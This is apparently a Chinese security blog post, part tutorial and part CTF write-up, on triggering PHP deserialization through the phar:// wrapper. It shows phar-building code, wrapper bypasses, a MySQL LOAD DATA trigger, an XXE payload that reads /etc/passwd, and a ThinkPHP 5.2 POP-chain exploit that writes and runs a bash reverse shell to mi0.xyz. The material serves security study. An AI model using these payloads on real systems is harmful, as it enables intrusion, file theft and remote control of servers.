利用phar協議造成php反序列化


0x00前言

在php中反序列漏洞,形成的原因首先需要一個unserialize()函數來處理我們傳入的可控的序列化payload。但是如果對unserialize()傳入的內容進行限制,甚至就不存在可利用的unserialize()函數的時候,就可以借助phar協議觸發反序列化操作了

0x01 構造有反序列化payload的phar文件

首先,phar是一種php語言的文件的后綴,所以生成phar文件要用到php語言,需要在php.ini中開啟相應的配置

phar.readonly = Off

生成phar文件的代碼如下

<?php
	//反序列化payload構造
    class TestObject {
    }
    
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后綴名必須為phar
    $phar->startBuffering();
    //設置stub,GIF89a可以改成其他的字段,繞過文件頭檢驗,但必須以 __HALT_COMPILER(); ?> 結尾
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 

	//將反序列化的對象放入該文件中
    $o = new TestObject();
    $o->data='just a test';
    $phar->setMetadata($o);

	//phar本質上是個壓縮包,所以要添加壓縮的文件和文件內容
    $phar->addFromString("test.txt", "test"); 
    $phar->stopBuffering();
?>

嘗試一下,生成帶有payload的文件

簡單的說下phar文件格式

  1. phar文件頭的識別格式是xxx + <?php __HALT_COMPILER(); ?>,只有這樣的格式才能被識別為phar文件
  2. phar是壓縮文件,那么壓縮文件的信息就會存在第二段manifest describing,這一段是放序列化的poc
  3. 壓縮的文件的內容被存在第三段,也就是上面payload的中的text.txt
  4. 數字簽名為該phar的第四段

了解phar文件格式,主要注意的點有2個,文件頭的合法性和壓縮文件信息處可自定義我們的payload

0x02 可觸發phar協議的函數

利用一個漏洞,最初要知道payload從哪里傳入,是哪個函數造成的,而php函數中支持偽協議的有很多,下面這張表就是能解析phar協議的函數(用一下別人的圖)

這些函數里面可以使用phar協議,當然還有常用的文件包含的幾個函數 includeinclude_oncerequrierequire_once

做一個簡單的測試

<?php
	class TestObject{
		function __destruct(){
			echo $this->data;
		}
	}

	include "phar://phar.phar/test.txt";
?>

同理,使用unlink()函數試試

<?php
	class TestObject{
		function __destruct(){
			echo $this->data;
		}
	}

	unlink("phar://phar.phar/test.txt");
?>

可以看到,還是執行了,但是有warningphp.ini中的配置為phar.readonly(我是在虛擬機中開啟了phar.readonly =Off生成的payload ,我本地是沒有開的)

再測試下要有寫權限的file_put_contents()函數

<?php
	class TestObject{
		function __destruct(){
			echo $this->data;
		}
	}

	file_put_contents("phar://phar.phar/test.txt","test.txt");
?>

結果是執行不了

因此雖然某些函數能夠支持phar://的協議,但是如果目標服務器沒有關閉phar.readonly時,就不能正常執行反序列化操作

在禁止phar開頭的情況下的替代方法

compress.zlib://phar://phar.phar/test.txt
compress.bzip2://phar://phar.phar/test.txt #可能是我本地環境問題,我本地試報錯找不到該協議
php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt

雖然會報warning,但是還是會執行

0x03 Mysql觸發反序列化

php調用mysql的語句LOAD DATA LOCAL INFILE導入phar文件也能觸發phar中的反序列化語句

首先說下LOAD DATA LOCAL INFILE這條語言,這條語句是用來通過文件批量給表里面insert數據的操作,完整的語句如下

LOAD DATA LOCAL INFILE '1.txt' into table user;

那么試試效果

這就是這條命令的正常用法

那么如果這個文件是利用了phar協議處理了的phar文件,格式如下

LOAD DATA LOCAL INFILE 'phar://phar.phar/test.txt' into table user;

嘗試一下,但是提示warning LOAD DATA LOCAL INFILE forbidden

這是因為還要修改mysql中的my.ini中的配置,因此可以看出這種利用前提不是默認的,需要人為定義,添加下面的信息

local-infile=1
secure_file_priv=""

除了在my.ini中配置以外,還有個坑,在php.ini中需要將mysqli.allow_local_infile前面的注釋去掉

萬事具備,寫好代碼

<?php
	class TestObject{
		function __destruct(){
			echo $this->data;
		}
	}

	//include "php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt";
	
	$m = mysqli_init();
	mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
	$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'ctf', 3306);
	$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://phar.phar/test.txt\' INTO TABLE user');
	
?>

嘗試一下,能夠觸發

甚至如果存在php語言寫的mysql客戶端可以任意連接遠程mysql服務器的情況下

這種時候可以利用Rogue-MySql-Server去讀對方的任意文件

但是去讀文件這個操作,如果使用phar協議,那么依然可以觸發反序列化,當然前提是你能把phar文件傳上去

0x04 通過XXE觸發反序列化

本來在總結這道知識點的時候,學長發給我一道紅帽CTF的題,剛好涉及到這方面的知識,運用的是XXE中使用phar協議來觸發反序列化,並且系統使用thinkphp 5.2,有公開的命令執行的pop鏈,拿shell,之后拿flag的一道題。

直接看題

隨便輸入,登錄成功,進去后有一個輸入框,有一個文件上傳點,提示只能上傳xml

輸入框,輸入后發現是傳輸的xml實體,於是試着利用XXE

查看下/etc/passwd

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY c SYSTEM "file:///etc/passwd">
]>
<ticket><username>&c;</username><code>test2</code></ticket>

因為xxe能用file協議讀,也可以用php://filter協議讀,那么這個地方也可以使用phar://協議了

訪問一個不存在的鏈接,發現使用的是thinkphp 5.2,這個版本是有反序列化命令執行的pop鏈的

首先上傳上去,題目會根據你登錄的用戶名和密碼分配一個sandbox,

這里用NU1L戰隊的2019舉辦的N1CTF的反序列化pop鏈,然后我改了改

我這里第一步往我自己的sandbox下寫反彈shell的sh腳本

第二步,使用bash執行這個sh腳本

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("Smi1e" => "system");

        public function get($system)
        {
            $this->data = array("Smi1e" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}

namespace {
    $Conver = new think\model\Pivot("echo 'bash -i >& /dev/tcp/mi0.xyz/2333 0>&1' > /tmp/uploads/d323c1de19517cb177f94ee3a4dfb0bb/20191111/test.sh");
    //$Conver = new think\model\Pivot("bash /tmp/uploads/d323c1de19517cb177f94ee3a4dfb0bb/20191111/test.sh");
    $payload = new think\process\pipes\Windows($Conver);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后綴名必須為phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //設置stub
    $phar->setMetadata($payload); //將自定義的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要壓縮的文件
    //簽名自動計算
    $phar->stopBuffering();
    echo urlencode(serialize($payload));
}
?>

生成phar文件,改后綴為xml上傳

因為phar協議,不管什么后綴,只要文件本身符合phar文件格式,就能正確執行,利用XXE觸發phar://協議

第二步寫執行test.sh文件,再次上傳個exp,利用XXE去訪問

服務器成功拿到shell

這里直接cat /flag被禁止了,直接運行./readfile不行

之后就是*CTF 2019的mywebsql 題目最后一步利用php腳本處理交互式的二進制文件交互

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // 標准輸入,子進程從此管道中讀取數據
   1 => array("pipe", "w"),  // 標准輸出,子進程向此管道中寫入數據
   2 => array("file", "/tmp/error-output.txt", "a") // 標准錯誤,寫入到一個文件
);
$cwd = '/tmp';
$env = array('some_option' => 'aeiou');
$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
        $output1 = fread($pipes[1],1024);
        var_dump($output);
        $output2 = fread($pipes[1],1024);
        var_dump($output);
        $output3 = fread($pipes[1],1024);
        var_dump($output);	
    $calc = trim($output2);
    $an = eval("return $calc;");
    var_dump($an);
    fwrite($pipes[0], (string)$an."\n");
    $output = stream_get_contents($pipes[1]);
    var_dump($output);
    $return_value = proc_close($process);
    echo "command returned $return_value\n";
}
?>

當然題目已經有很多師傅上傳上去的腳本了,直接執行即可

我不清楚是不是我服務器的問題?但我學長可以正常使用該腳本拿到flag (orz)

之后又嘗試了下,挺玄學的?

0xff 參考鏈接

https://xz.aliyun.com/t/6699

https://paper.seebug.org/680/

https://xz.aliyun.com/t/2958

https://www.smi1e.top/n1ctf2019-sql_manage出題筆記/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM